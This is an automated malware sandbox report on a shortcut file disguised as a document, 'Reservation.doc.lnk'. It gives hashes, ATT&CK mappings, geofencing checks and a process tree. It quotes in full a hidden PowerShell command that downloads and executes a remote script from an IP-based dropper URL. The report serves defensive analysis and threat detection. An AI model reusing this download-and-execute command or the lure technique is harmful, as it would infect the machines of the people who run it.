d8dca0056c6f8a7c968b939c5b7c4b12715612754897a90bfb72f90b94f54622

Analysis

max time kernel
51s
max time network
51s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
13/06/2024, 10:02

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General

Target
Reservation.doc.lnk
Size 1KB
Sample240613-l25faatfna
SHA256 6d22566fa5595346af035217faa5647e69ebbe9ef4fb063cb532d8a0aeb1997e
MD5 0e430c1e8ebb47ffd09fde9882b57e20
SHA1 0839007781ade92cb0499cf4b4ac29db7b7f4b40
SHA512 fe92600fd116e2472aaaadf1319dc4a8988fa4f7ed35063b0b063a1b28b55e560a7904ccb6bbd3c1c50801a658b691352459b3fc0ef819226404f21433b12059
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.154.52.140:80/psistat

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4852	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3220 wrote to memory of 4852	3220	cmd.exe	85
PID 3220 wrote to memory of 4852	3220	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Reservation.doc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://185.154.52.140:80/psistat'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ve2zyqsx.uk5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ve2zyqsx.uk5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4852-2-0x00007FF8E40B3000-0x00007FF8E40B5000-memory.dmp

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memory/4852-3-0x000002714A970000-0x000002714A992000-memory.dmp

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memory/4852-13-0x00007FF8E40B0000-0x00007FF8E4B71000-memory.dmp

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memory/4852-14-0x00007FF8E40B0000-0x00007FF8E4B71000-memory.dmp

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memory/4852-15-0x00007FF8E40B0000-0x00007FF8E4B71000-memory.dmp

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memory/4852-16-0x00007FF8E40B0000-0x00007FF8E4B71000-memory.dmp

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memory/4852-19-0x00007FF8E40B0000-0x00007FF8E4B71000-memory.dmp

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